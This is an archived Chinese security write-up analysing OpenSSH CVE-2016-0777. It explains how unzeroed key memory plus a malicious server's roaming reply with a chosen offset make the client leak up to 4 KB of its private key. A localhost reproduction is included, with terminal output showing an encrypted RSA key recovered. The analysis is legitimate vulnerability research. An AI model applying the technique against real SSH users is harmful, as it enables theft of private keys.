# OpenSSH CVE-2016-0777私钥窃取技术分析

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2016-01-17T03:39:00Z
Canonical: https://wepostx.com/topics/34

> 乌云历史资料归档
>
> **原始作者：** 360安全卫士
> **原始编号：** superkieran-wooyundrops:1002
> **原始发布时间：** 2016-01-17 11:39
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

Author:[email protected] Cloud Security Team

# 0x00 前言

想起以前写了很多广告序，估计也没什么人看。后来看到“天眼APT Team”和“360安服团队”的人针对黑产只写了句“人在做，天在看”，有点感悟。赶紧把sb类型的广告删掉，不能低估各位看客的智商。
安全本来就是攻防，没什么好讲的，一群追逐影子的人，对于漏洞的验证只是满足猎奇心理罢了。
写完后还要去楼下继续围观 360 Unicorn Team在360互联网训练营上的超级精彩演讲。
hf!

# 0x01 技术分析

不b话，上图。

![原文图片](/media/2016/06/3f57035ccc1b1e32ea314a77978cb67a)

环境：

```text
#!bash 系统版本： Linux version 3.10.0-229.11.1.el7.x86_64 ( [email protected] ) (gcc version 4.8.3 20140911 (Red Hat 4.8.3-9) (GCC) ) #1 SMP Thu Aug 6 01:06:18 UTC 2015 SSH版本： OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013
```
以下结论为上述环境中实现
过程：
ssh建立连接时会读入证书，其内存通过buffer.c文件中的buffer_init()，buffer_free()函数管理
正常情况使用完毕会将内存内容清零
但若证书内容大于4k，ssh会调用realloc重新分配更多内存，此时不会将之前的内存清零，由此证书头4k内容会残留在内存中
接着，若恶意服务器应答roaming，则协议好roaming id，cookie等以及一个服务端可控的偏移值 offset（实验中我设置此值为 4096 – 663430，应客户端默认发送缓冲长度为663430）
同时响应一个<=4k的长度s_len，客户端会分配一块长度为s_len的“roaming_mem”，内容即为未清零的证书前4k残留
此时恶意服务器断开连接，客户端用户可选择恢复连接
则客户端会将发送偏移(ofs1)设置为服务端送过来的 offset 加本机默认发送缓冲长度 663430
ofs2即是s_len长度4096
如此，客户端会发送roaming_mem + ofs1 – ofs2，长度 ofs2 的内容到服务端
此时ofs1-ofs2恰好等于0，也就相当于发送roaming_mem为起始地址，ofs2=4096长度的内容，刚好就是证书4k残留
实践：
（证书内容本身不足4k，为方便实验，手工在证书末尾添加了若干”\n”作为补位）

```text
#!bash [ [email protected] openssh-6.4p1]$ ll /home/xxx/.ssh/id_rsa -rw——- 1 xxx xxx 5169 Jan 16 11:58 /home/xxx/.ssh/id_rsa [ [email protected] openssh-6.4p1]$ strings /home/xxx/.ssh/id_rsa —–BEGIN RSA PRIVATE KEY—– Proc-Type: 4,ENCRYPTED DEK-Info: AES-128-CBC,3C261314BCFFF0379DB2CE2E14F2CD42 45Tdi0y20+qovA5xbv957Ip8kwYqc48cjVcgSY4I7x/TDfUe9pziuGYJN1qPwfBJ rh97z/yRPxGmMHxg+30cZ0tnGuRpKkCs/7fd2dSn19JxXS9+kxsZ2huVKgKigeyC eu8Lb79Zmynhs1J/roqu2nlF6spCUD+dkmh8AldEw6eDYequv9iFSjVNMIcc9vXw sh+7XfxJDS+A55X2yRJ6lOh10b+wxF/jf0fCaTsDtgHovoOUR/M6/TT56v5h/Nt5 G5p7Cjfe49OIw6jLzYua7/2DGM2F/9cbVy27h+OS+cJEhsLF+ajz5Go4nMYuhRY+ b6+v9KPy8mjeliXU3uwNGiO2jEztnX2m9EF43P58fVpky27pqVGK62Pm9vk24c2X LxHTWw7eZipi7SNUNgsxKd8sxw26474DM0i6kiJNt9/OZxiVf3Sdu+R97+zeLBGI R39QUfnsNNIO67DTqvskHbs6reTm4XQYpofZ9dzCAqgYbqNl0U4ZmY37p28Vu7GM waHmT1c2jhpkZZBcRBsqskDywa7SfhR95Te1F+VR3XzxvW8xM4c4mhZ0oPV5ahFH Dy1Odg9bd0TxufdjHPofulQjx2Ir9HhpAVasycyj6YEpe41COcxrTqU5uMjfLtoM vQn0mGfRxb4gripQ0ImgSXWAhcRAlBCtrUuqadiLVIyRfJM4aEiuHlH2oKWjry0I 1i57M29VfmmNUf68R/AGTypMBVUx6FhV5xOeg4gnbDMIDHQ0e6VK/ZaFwU+xZozy AHJIzbD27WADJZuj+izRrt+6uF1LgwlFyJkXUjDMUka/VNk3R+fkuB8kvf8ibJIP gq0Ipn/I9rrymohGVjQjdbPYECy2QMqS3sjhKZsaGcOWNMG2bHO+1HsOJI5cUIZy P7gOqtWO1V3bABHZJ9SK1yFj46S1dqbAic2We8dKUzRZIIx3hRPDDBp75IyLHnOI EHkv0nYWg3CFPBaBZucfuEBPBdEUcZfYqWDgN4NNB+I6hUDKJgEi1psEKkmqqxEv 4GKVyhiIqBadZjIlhJc+bqd3za0p0xrk2DjVBR3bBepASkO4YKrzNzrF7TlMllFq bhGrDsirw1fIP0NSDgREKdPFbRRshFdj9tRvWldq9QW9TFDPbJmzE7SC/56ggdvu KhTNxTPaEZnck7INzJm/gYQiaZ/aeyJ+G5rNixWAKhRxHsqlWTWf+fySqoTMKClw dj/pgZtt3oC5TdkO3DPC4/lyXSTa0uYGs1Alyr4FiOcyZ0CkE1ZQPyy1W1IKNlYW Umvhw2F+y7x+uo/7TRz6ahOeQV9kF5pkEhm0zLE2yYVRzmf08i+rQ+OqjFH76bEb 6bGjd4TCVUIBXv6OpMm8vy/oB/QBxxNRlH5VnAcT+r/gu0tEFdroBkJ5RZEDMC6c Vp5tZg+C7Cr2pfmoYBVnbIQ7CzlMvHpone9AFNnblL8Fcpwe/SSAcJP/p2TlFvg4 GCs3AYeWCOlRjroKOCjh0ikUcrXR85auPz6CG/hq3LVHyEZ1XfoLty4WOsTXwG5B xE63YLQgG8oHHJFgtu2W5yHodfPIG1LOeBO5eaqpMj0qSGFdyLXPtT0Dnyc8CPo1 —–END RSA PRIVATE KEY—– [ [email protected] openssh-6.4p1]# /home/xxx/openssh-6.4p1/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key [ [email protected] openssh-6.4p1]$ ./ssh -p222 127.0.0.1 Enter passphrase for key ‘/home/xxx/.ssh/id_rsa': [email protected] password: [connection suspended, press return to resume][connection resumed] [63]+ Stopped ./ssh -p222 127.0.0.1 [ [email protected] openssh-6.4p1]$ sudo -i [sudo] password for xxx: [ [email protected] ~]# strings /home/xxx/key —–BEGIN RSA PRIVATE KEY—– Proc-Type: 4,ENCRYPTED DEK-Info: AES-128-CBC,3C261314BCFFF0379DB2CE2E14F2CD42 45Tdi0y20+qovA5xbv957Ip8kwYqc48cjVcgSY4I7x/TDfUe9pziuGYJN1qPwfBJ rh97z/yRPxGmMHxg+30cZ0tnGuRpKkCs/7fd2dSn19JxXS9+kxsZ2huVKgKigeyC eu8Lb79Zmynhs1J/roqu2nlF6spCUD+dkmh8AldEw6eDYequv9iFSjVNMIcc9vXw sh+7XfxJDS+A55X2yRJ6lOh10b+wxF/jf0fCaTsDtgHovoOUR/M6/TT56v5h/Nt5 G5p7Cjfe49OIw6jLzYua7/2DGM2F/9cbVy27h+OS+cJEhsLF+ajz5Go4nMYuhRY+ b6+v9KPy8mjeliXU3uwNGiO2jEztnX2m9EF43P58fVpky27pqVGK62Pm9vk24c2X LxHTWw7eZipi7SNUNgsxKd8sxw26474DM0i6kiJNt9/OZxiVf3Sdu+R97+zeLBGI R39QUfnsNNIO67DTqvskHbs6reTm4XQYpofZ9dzCAqgYbqNl0U4ZmY37p28Vu7GM waHmT1c2jhpkZZBcRBsqskDywa7SfhR95Te1F+VR3XzxvW8xM4c4mhZ0oPV5ahFH Dy1Odg9bd0TxufdjHPofulQjx2Ir9HhpAVasycyj6YEpe41COcxrTqU5uMjfLtoM vQn0mGfRxb4gripQ0ImgSXWAhcRAlBCtrUuqadiLVIyRfJM4aEiuHlH2oKWjry0I 1i57M29VfmmNUf68R/AGTypMBVUx6FhV5xOeg4gnbDMIDHQ0e6VK/ZaFwU+xZozy AHJIzbD27WADJZuj+izRrt+6uF1LgwlFyJkXUjDMUka/VNk3R+fkuB8kvf8ibJIP gq0Ipn/I9rrymohGVjQjdbPYECy2QMqS3sjhKZsaGcOWNMG2bHO+1HsOJI5cUIZy P7gOqtWO1V3bABHZJ9SK1yFj46S1dqbAic2We8dKUzRZIIx3hRPDDBp75IyLHnOI EHkv0nYWg3CFPBaBZucfuEBPBdEUcZfYqWDgN4NNB+I6hUDKJgEi1psEKkmqqxEv 4GKVyhiIqBadZjIlhJc+bqd3za0p0xrk2DjVBR3bBepASkO4YKrzNzrF7TlMllFq bhGrDsirw1fIP0NSDgREKdPFbRRshFdj9tRvWldq9QW9TFDPbJmzE7SC/56ggdvu KhTNxTPaEZnck7INzJm/gYQiaZ/aeyJ+G5rNixWAKhRxHsqlWTWf+fySqoTMKClw dj/pgZtt3oC5TdkO3DPC4/lyXSTa0uYGs1Alyr4FiOcyZ0CkE1ZQPyy1W1IKNlYW Umvhw2F+y7x+uo/7TRz6ahOeQV9kF5pkEhm0zLE2yYVRzmf08i+rQ+OqjFH76bEb 6bGjd4TCVUIBXv6OpMm8vy/oB/QBxxNRlH5VnAcT+r/gu0tEFdroBkJ5RZEDMC6c Vp5tZg+C7Cr2pfmoYBVnbIQ7CzlMvHpone9AFNnblL8Fcpwe/SSAcJP/p2TlFvg4 GCs3AYeWCOlRjroKOCjh0ikUcrXR85auPz6CG/hq3LVHyEZ1XfoLty4WOsTXwG5B xE63YLQgG8oHHJFgtu2W5yHodfPIG1LOeBO5eaqpMj0qSGFdyLXPtT0Dnyc8CPo1 —–END RSA PRIVATE KEY—– [ [email protected] ~]# ll /home/xxx/key -r——– 1 root root 4096 Jan 16 11:59 /home/xxx/key
```

# 0x02 写在最后

唯一要说明的是现实世界里pravite key文件超过4k大小是一个并不常见的问题。引用Quake3里的最感人的一句话作结尾。
gl, i love this game! (不知道有谁见到过这句话，见过的人你应该也是战斗过的人)。

## Replies